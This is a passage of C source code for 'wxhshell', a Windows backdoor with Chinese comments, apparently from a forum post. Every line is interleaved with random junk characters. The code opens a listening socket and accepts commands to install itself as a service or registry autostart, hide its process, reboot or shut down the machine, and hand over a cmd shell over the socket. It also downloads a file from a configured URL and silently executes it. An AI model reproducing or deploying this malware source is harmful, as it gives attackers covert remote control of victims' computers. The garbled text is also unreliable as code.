  else I%Po/+|+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >-|90CSdSJ  
  } 5) n:<U*  
  else { >[%.h(h/%  
pGbFg&  
    switch(cmd[0]) { CMxjX  
  qfP"UAc{/  
  // 帮助 seqF84Xd<  
  case '?': { 7k#${,k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dss/>! mN  
    break; zEPx  
  } z1SMQLk  
  // 安装 oB{}-[G  
  case 'i': { "J[i=~(  
    if(Install()) 77&^$JpM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 400Tw`AiJ  
    else G0; EbJ/&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WP@JrnxO\`  
    break; < ;,S"e  
    } Th;gps%b  
  // 卸载 Z/6'kE{l  
  case 'r': { K'{W9~9Lq  
    if(Uninstall()) LnI{S{]wDh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g"dZB2`C  
    else \l=KWa3Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F<oc Y0=9p  
    break; jQ_|z@OV  
    } leb^,1/D6  
  // 显示 wxhshell 所在路径 zmL~]! ~&  
  case 'p': { \BbOljM=  
    char svExeFile[MAX_PATH]; bUAR<R'E  
    strcpy(svExeFile,"\n\r"); ?;r8SowZ7  
      strcat(svExeFile,ExeFile); X.T\=dm%v  
        send(wsh,svExeFile,strlen(svExeFile),0); =6Kv`  
    break; =S[FJaIu7  
    } rMXOwkE  
  // 重启 ej"o?1l@  
  case 'b': { 8F`BJ6='  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \{M rQ2jd  
    if(Boot(REBOOT)) w[,?- Xm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rz[uuY7  
    else { EDgob^>  
    closesocket(wsh); 8W1K3[Jj<  
    ExitThread(0); .y;\puNq  
    } 9OQ0Yc!3  
    break; kP}hUrDX5  
    } Fyh?4!/.  
  // 关机 -M>K4*%K  
  case 'd': { 1W}nYU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kh>SrW]B%  
    if(Boot(SHUTDOWN)) \\2k}TsB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {sna)v$;  
    else { y[^k*,= 9  
    closesocket(wsh); 9#EHXgz  
    ExitThread(0); Q0L@.`~  
    } m>abK@5na  
    break; 7{K i;1B[w  
    } V'Z&>6Z  
  // 获取shell 68J 9T^84  
  case 's': { 94p:|5@  
    CmdShell(wsh); /mMAwx  
    closesocket(wsh); F; MF:;mM  
    ExitThread(0); M8#*zCp{5  
    break; !HdvCYB>  
  } j2 o1"  
  // 退出 !0!U01SWa  
  case 'x': { /.| A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V &mH#k  
    CloseIt(wsh); cz7 CrK~5  
    break; m<FWv2)^  
    } )O2Nlk~l&  
  // 离开 >2|[EZ  
  case 'q': { ]e@0T{!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XoKO2<3  
    closesocket(wsh); )D Gz`->  
    WSACleanup(); k"q!|+&Fs  
    exit(1); E,<\T6/%q  
    break; .0Iun+nUD  
        } QX/X {h6  
  } *%OYAsc  
  } Hyq@O 8  
l\T!)Ql  
  // 提示信息 I+Ncmg )>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kb"_6,[Ms  
} xb+RRTgj  
  } qLQ <1>u  
kvW|=  
  return; BrlzN='j}  
} cQ3W;F8|n  
0|fb< "  
// shell模块句柄 n) _dH/"  
int CmdShell(SOCKET sock) ;t;Y.*&=S  
{ ? fbgU  
STARTUPINFO si; VxkCK02k  
ZeroMemory(&si,sizeof(si)); ZR;8r Z](  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M#\  <  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E[|s>Xv~  
PROCESS_INFORMATION ProcessInfo; %]a @A8o0  
char cmdline[]="cmd";  k#axt Sc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Snc; p  
  return 0; 99l>CYXd  
} /~3N@J  
y*VQ]aJ  
// 自身启动模式 KA5~">l  
int StartFromService(void) ]^J+-c  
{ v`#j  
typedef struct ,:#,}w_HyO  
{ qj~flw1:  
  DWORD ExitStatus; mF[o*N*  
  DWORD PebBaseAddress; \)OZUch  
  DWORD AffinityMask; u*t,i`  
  DWORD BasePriority; g$*/ XSr(  
  ULONG UniqueProcessId; fm(mO%  
  ULONG InheritedFromUniqueProcessId; B :.@Qi^  
}   PROCESS_BASIC_INFORMATION; GXDC@+$14  
.]W ;2G  
PROCNTQSIP NtQueryInformationProcess; ?S (im  
h>}ax\h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H~A"C'P3#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _j:UGMTi(U  
;{<aA 5  
  HANDLE             hProcess; V]I:2k5  
  PROCESS_BASIC_INFORMATION pbi; ?PBa'g  
,HFs.9#&B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uh]"(h(>  
  if(NULL == hInst ) return 0; z$JX'(<Z7  
+hE',i.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bA}AD`5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {Ge+O<mD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z]^+^c_  
c |>=S)|  
  if (!NtQueryInformationProcess) return 0; KcC!N{  
%'Zc2h&z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (GCG/8s  
  if(!hProcess) return 0; Iz DG&c  
?Bo?JMV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OF c\fW#  
ojHhT\M`  
  CloseHandle(hProcess); ""co6qo#>  
1HMUHZT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >\V6+$cNp  
if(hProcess==NULL) return 0; ]UDd :2yt  
q[7CPE0n  
HMODULE hMod; 9<yAQ?7 L  
char procName[255]; rh@r\ H@j  
unsigned long cbNeeded; +'%@!  
bS>R5*Zp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HF"Eys  
>~_J q|KBB  
  CloseHandle(hProcess); 6+.>5e  
a:85L!~:l  
if(strstr(procName,"services")) return 1; // 以服务启动 *HR +a#o  
9B /s  
  return 0; // 注册表启动 U^MuZ  
} .%q$d d>>  
v=!YfAn  
// 主模块 tR kF   
int StartWxhshell(LPSTR lpCmdLine) (a[.vw^g  
{ &5?G-mn  
  SOCKET wsl; PgMbMH  
BOOL val=TRUE; v? L  
  int port=0; [ `7%sn]$  
  struct sockaddr_in door; 3UdU"d[75  
v:E;^$6Vn  
  if(wscfg.ws_autoins) Install(); Yu'a<5f  
L>dkrr)e  
port=atoi(lpCmdLine); 74+A+SK[  
( S`6Q  
if(port<=0) port=wscfg.ws_port; B`fH^N  
2 nv[1@M  
  WSADATA data; x?#I4RJH;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U&X2cR &a  
YutQ]zYA.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SxJ$b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l3.  
  door.sin_family = AF_INET; iv*V#J>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yGxv?%%2  
  door.sin_port = htons(port); fAGctRGH  
yub{8f;v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v5_7r%Hiw  
closesocket(wsl); "+)K |9T#  
return 1; OO nX`  
} g+xw$A ou  
Ve}[XqdS^p  
  if(listen(wsl,2) == INVALID_SOCKET) { gxwo4.,  
closesocket(wsl); ,MQVE  
return 1; Oe51PEqn  
} RT^v:paNT2  
  Wxhshell(wsl); 9Hd;35 3Q  
  WSACleanup(); !;S"&mcPDJ  
.[?BlIlm  
return 0; R_^/,^1  
0"78/6XIs  
} _T5)n=|  
p~&BChBl!=  
// 以NT服务方式启动 SRZL\m}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U3E&n1AA  
{ pj0fM{E  
DWORD   status = 0; S,''>`w  
  DWORD   specificError = 0xfffffff; $IVwA  
LH2PTW\b!6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; * RWm47  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PY`L$e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1svi8wh  
  serviceStatus.dwWin32ExitCode     = 0; \=;uu_v$  
  serviceStatus.dwServiceSpecificExitCode = 0; y+9h~,:A  
  serviceStatus.dwCheckPoint       = 0; w\Mnu}<e$  
  serviceStatus.dwWaitHint       = 0; ;#1Iiuh  
WkP +r9rT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DIaYo4  
  if (hServiceStatusHandle==0) return; ~>Kq<]3~  
nPN?kO=]  
status = GetLastError(); JN4fPGbV  
  if (status!=NO_ERROR) Ya#h'+}  
{ paW@\1Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; : =Kx/E:1  
    serviceStatus.dwCheckPoint       = 0; n((vY.NDV  
    serviceStatus.dwWaitHint       = 0; $bvJTuw  
    serviceStatus.dwWin32ExitCode     = status; ,lt8O.h-l  
    serviceStatus.dwServiceSpecificExitCode = specificError; t 9^A(Vh"-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S QY"OBo<e  
    return; t P"\J(x  
  } u,1}h L  
+/rH(Ni  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,qQG;w,m  
  serviceStatus.dwCheckPoint       = 0; 3GH(wSv9\  
  serviceStatus.dwWaitHint       = 0; k`\R+WK$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]ikomCg   
} -r<#rITH"  
4-R^/A0  
// 处理NT服务事件,比如:启动、停止 N@xg:xr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -.IEgggf  
{ 6/Fzco#N  
switch(fdwControl) R"AUSO|{  
{ 52d^K0STC  
case SERVICE_CONTROL_STOP: C [uOReo  
  serviceStatus.dwWin32ExitCode = 0; kW@,$_cK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w%y\dIeI'  
  serviceStatus.dwCheckPoint   = 0; 8X$LC  
  serviceStatus.dwWaitHint     = 0; k |YWOy@D~  
  { yClx` S(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +Qxu$#  
  } 71fk.16  
  return; m ee$"Y  
case SERVICE_CONTROL_PAUSE: '?QuJFki  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @+LfQY  
  break; 4)6xU4eBaL  
case SERVICE_CONTROL_CONTINUE: _[K"gu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dg HaOAdU  
  break; 3;[DJ5  
case SERVICE_CONTROL_INTERROGATE: A"v{~  
  break;  Q=uRKh  
}; T?Fcohz(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FV39QG4b4  
} 4|?{VQ  
Oakb'  
// 标准应用程序主函数 $wB^R(f@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bFS>)  
{ o%E;3l  
uI~S=;o  
// 获取操作系统版本 3+Qxg+<  
OsIsNt=GetOsVer(); en F:>H4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (1R?s>3o  
Z8#Gwyinx  
  // 从命令行安装 S8d8%R~1=h  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5kypMHJm  
a:TvWzX,  
  // 下载执行文件 a:, y Z  
if(wscfg.ws_downexe) { ;`YkMS`=W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <A5]]{9 +  
  WinExec(wscfg.ws_filenam,SW_HIDE); |RkcDrB~  
} Q/ms]Du  
N6OMY P1  
if(!OsIsNt) { ;Q;[*B=kE  
// 如果时win9x,隐藏进程并且设置为注册表启动 l_tw<`Ep  
HideProc(); %V`F!D<D  
StartWxhshell(lpCmdLine); lv&mp0V+  
}  +=q)  
else ~[WF_NU1y  
  if(StartFromService()) b2,mCfLsv  
  // 以服务方式启动 iIT8H\e  
  StartServiceCtrlDispatcher(DispatchTable); ^ KK_qC  
else a]Eg!Q  
  // 普通方式启动 A>`945|  
  StartWxhshell(lpCmdLine); 51C2u)HE  
`:m!~  
return 0; f/,>%j=Ms  
}
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只看该作者 1 发表于: 2006-10-10
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